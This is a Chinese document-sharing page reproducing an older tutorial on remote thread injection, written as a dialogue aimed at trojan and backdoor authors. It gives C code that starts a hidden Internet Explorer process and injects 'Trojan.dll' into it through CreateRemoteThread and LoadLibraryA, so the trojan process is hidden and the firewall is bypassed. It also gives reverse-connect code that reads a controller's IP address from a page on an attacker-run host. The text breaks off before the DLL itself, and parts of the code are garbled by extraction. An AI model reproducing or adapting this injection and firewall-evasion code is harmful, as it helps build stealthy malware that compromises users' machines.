线程插入技术详解

上传人:m**** 文档编号:431205568 上传时间:2023-10-20 格式:DOCX 页数:13 大小:30.68KB
返回 下载 相关 举报
线程插入技术详解_第1页
第1页 / 共13页
线程插入技术详解_第2页
第2页 / 共13页
线程插入技术详解_第3页
第3页 / 共13页
线程插入技术详解_第4页
第4页 / 共13页
线程插入技术详解_第5页
第5页 / 共13页
点击查看更多>>
资源描述

《线程插入技术详解》由会员分享,可在线阅读,更多相关《线程插入技术详解(13页珍藏版)》请在金锄头文库上搜索。

1、前置知识:DLL、远程线程线程插入技术详解谷夕难度:编译环境:VC6.0+win2000测试环境:win2000+天网防火墙“大家好,今天我们来讨论现在木马或后门比较流行的技术-线程插入技术。”“什么是线程插入技术啊?”一小菜问。“线程插入技术也叫远程线程技术,指的是将自己的代码插入正在运行的进程中的技术。其实,这种技术也不算是很难,只要有基本的进程、线程和动态链接库的知识就可以很轻松地完成线程插入,下面就为大家介绍一下远程线程技术。远程线程技术是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间,事先把要执行的代码和有关数据写进目标进程,然后创建一个远程线程来让远端进程执行哪些代

2、码。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程哦)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马。”“我们为什么要那么麻烦啊?就这样启动一个木马不就行了?”一小菜疑惑问。“呵呵,我们启动远程线程的目的是可以隐藏木马进程啊!我们把木马插入到一个正常的进程

3、中,那么在用户看来不就是没有木马进程了吗?更重要的一点是可以突破防火墙!”“突破防火墙?怎样突破?”小菜又疑惑了。“大家都安装过防火墙吧?”“肯定啦!”?那么,当有程序访问Internet时,防火墙是不是都弹出一个询问的窗口来询问是否允许XXX程序访问网络?“对啊!”Internet,那你会有什么反“那就是啦!如果防火墙提示一个你不认识的程序要访问应?“那就很有可能是木马或后门啦!”对啊。但如果是IE访问Internet呢?你会不会允许IE访问Internet?“那还用问吗?”“就是啊,如果我们把木马的代码插入到IE进程中去,那么当防火墙提示IE访问Internet时,也就是我们木马解放的时候

4、啊!用户只要第一次允许IE访问网络,以后当IE在此访问网络的时候,防火墙就不给予提示啦。那样我们的木马或后门不是就是可以突破防火墙了吗?”“哈哈!暗道陈仓,绝!”好,我们现在就来动手写程序啦。我们先看看远程线程的主角CreateRemoteThread(),首先介绍一下我们的主要工具CreateRemoteThread,这里先将函数原型简单介绍以下。CreateRemoteThread可将线程创建在远程进程中。函数原型:HANDLECreateRemoteThread(HANDLEhProcess,/handletoprocessLPSECURITY_ATTRIBUTESlpThreadAtt

5、ributes,/SD/initialstacksize/threadfunction/threadargumentSIZE_TdwStackSize,LPTHREAD_START_ROUTINElpStartAddress,LPVOIDlpParameter,DWORDdwCreationFlags,/creationoption/threadidentifierLPDWORDlpThreadId);参数说明:hProcess输入进程句柄lpThreadAttributes输入线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针dwStackSize输入线程栈大小,以字节表示

6、IpStartAddress输入一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址lpParameter输入传入参数dwCreationFlags输入创建线程的其它标志lpThreadId输出线程身份标志,如果为NULL,则不返回返回值成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。大家很快可以领略到CreateRemoteThread的神通,它使你的代码可以脱离你的进程,植入到别的进程中运行。大家说,把代码插入到那个进程中突破防火墙最好啊?”“那当然是QQ或者IE啦!因为没有人会傻到不允许这两个程序访问网络啊!”“嗯

7、,是的!这两个程序都很好。但接下来我们会选择IE。因为通常我们会打开多个IE而不是多个QQ,那样我们启动一个没有窗口的IE再把代码插进去隐藏性就比较好了。”“怎样打开一个没有窗口的IE啊?”“要打开一个新的进程,我们利用的是CreateProcess()函数。以下代码实现打开一个IE进程,但窗口被隐藏起来。STARTUPINFOsi;/进程启动时需要初始化的结构PROCESS_INFORMATIONpi;/进程启动后的有关信息si.cb=sizeof(STARTUPINFO);GetStartupInfo(&si);si.wShowWindow=SW_HIDE;/这里设置窗口为隐藏,SW_SH

8、OW为显示窗口si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;CreateProcess(C:ProgramFilesInternetExplorerIEXPLORE.EXE,NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);“当然,不是所有的系统都安装在C盘的,要确保我们能够打开一个隐藏窗口的IE进程,我们可以利用下面的代码:charsyspath256;GetSystemDirectory(syspath,256);strcat(syspath,.ProgramFilesInternetExpl

9、orerWIEXPLORE.EXE);CreateProcess(syspath,NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);首先,我们利用GetSystemDirectory()函数取得系统目录,例如系统安装在D盘,则为D:WINNTsystem32,.”标示上一层目录,那么“D:WINNTsystem32.ProgramFilesInternetExplorerWIEXPLORE.EXE实际上就是D:ProgramFilesInternetExplorerIEXPLORE.EXE”了,那么我们就可以保证IE路径的正确性。“IE进程启动后,我们需要

10、得到它的进程的PID以便把数据写进IE进程。在系统创建进程时,进程的pid保存在PROCESS_INFORMATION结构中。我们可以利用pi.dwProcessId得到IE进程的PID。接下来就要把有关代码写进目标进程了:GetCurrentDirectory(MAX_PATH,pszlibfilename);/得到当前的目录路径if(pszlibfilenamestrlen(pszlibfilename)-1!=)/判断是否为根目录strcat(pszlibfilename,Trojan.dll);elsestrcat(pszlibfilename,Trojan.dll);/连接要插入的动

11、态连接库的文件名(这里是Trojan.dll)SetPrivilege();/提升权限/获得目标进程句柄HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);cb=(1+lstrlenA(pszlibfilename)*sizeof(char);/在目标进程中配变量地址空间,并且设定为可以读写PAGE_READWRITEchar*pszLibFileRemote=(char*)VirtualAllocEx(hProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);/写内容到目标进程中分配的变量空间Writ

12、eProcessMemory(hProcess,pszLibFileRemote,(PVOID)pszlibfilename,cb,NULL);PTHREAD_START_ROUTINEpfnStartAddr/kernel.dll中取得LoadLibraryA地址pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(Kernel32”),LoadLibraryA);/创建远程线程HANDLEhThread=CreateRemoteThread(hProcess,NULL,0,pfnStartAddr,pszLib

13、FileRemote,0,NULL);WaitForSingleObject(hThread,INFINITE);/等待函数CloseHandle(hThread);VirtualFreeEx(hProcess,pszLibFileRemote,0,MEM_RELEASE);/释放刚才分配的远程进程的内存CloseHandle(hProcess);“上面是把我们的dll插入到远程进程的exe程序的代码。我们这个exe程序只是负责把dll插入到目标进程,而要实现木马或后门功能的则是我们接下来要介绍的dll文件。这里只给大家简单的演示如何穿透防火墙,所以要实现的功能还是比较简单的。首先又来给大家介

14、绍下原理吧。我们可以把dll后门插入到某个进程中,而这个进程是防火墙允许让外部用户连接的。但由于大多数防火墙是禁止了由外部发起的连接,所以我们就要利用反弹端口,也就是内部向外部连接,这就是为什么我们要把dll后门插入到IE的原因。我们利用远程线程把代码插入到防火墙允许访问网络的应用程序中,然后由这个程序来访问网络而完成远程控制。”“你的意思是说利用反弹端口吗?我们如何获得客户端的IP地址呢?”一小菜问。“我们可以读取一个免费空间的一个指定页面,里面包含客户端的IP地址。因为是IE来进行访问,当然防火墙不会做出提示。我们可以利用下面的代码来获取指定网页:char*request=GET/ip.h

15、tm;/广外男生默认的生成页面charbuffer2000;destSockAddr.sin_family=AF_INET;destSockAddr.sin_port=htons(80);deskSocketAddr.Sin_Addr.S_Addr=inet_addr(DEST_IP_ADDR);/DEST_IP_ADDR为你的免费空间IPdestSocket=socket(AF_INET,SOCK_STREAM,0);connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr);send(destSocket,request,strlen(request)+1,0);recv(destSocket,buffer,2000,0);上面的代码连接到你的免费空间中,并且读取ip.htm。buffer里就是整个ip.htm的内容,当然包括HTTP头部,可以分析里面的内容得到客户机的详细情况!例如ip.htm中有#218.14.11.22#,那么利用strstr()函数就很容易取得IP地址啦。”“那我们的DLL该如何编写呢?”“下面我来做个简单

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 建筑/环境 > 施工组织

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号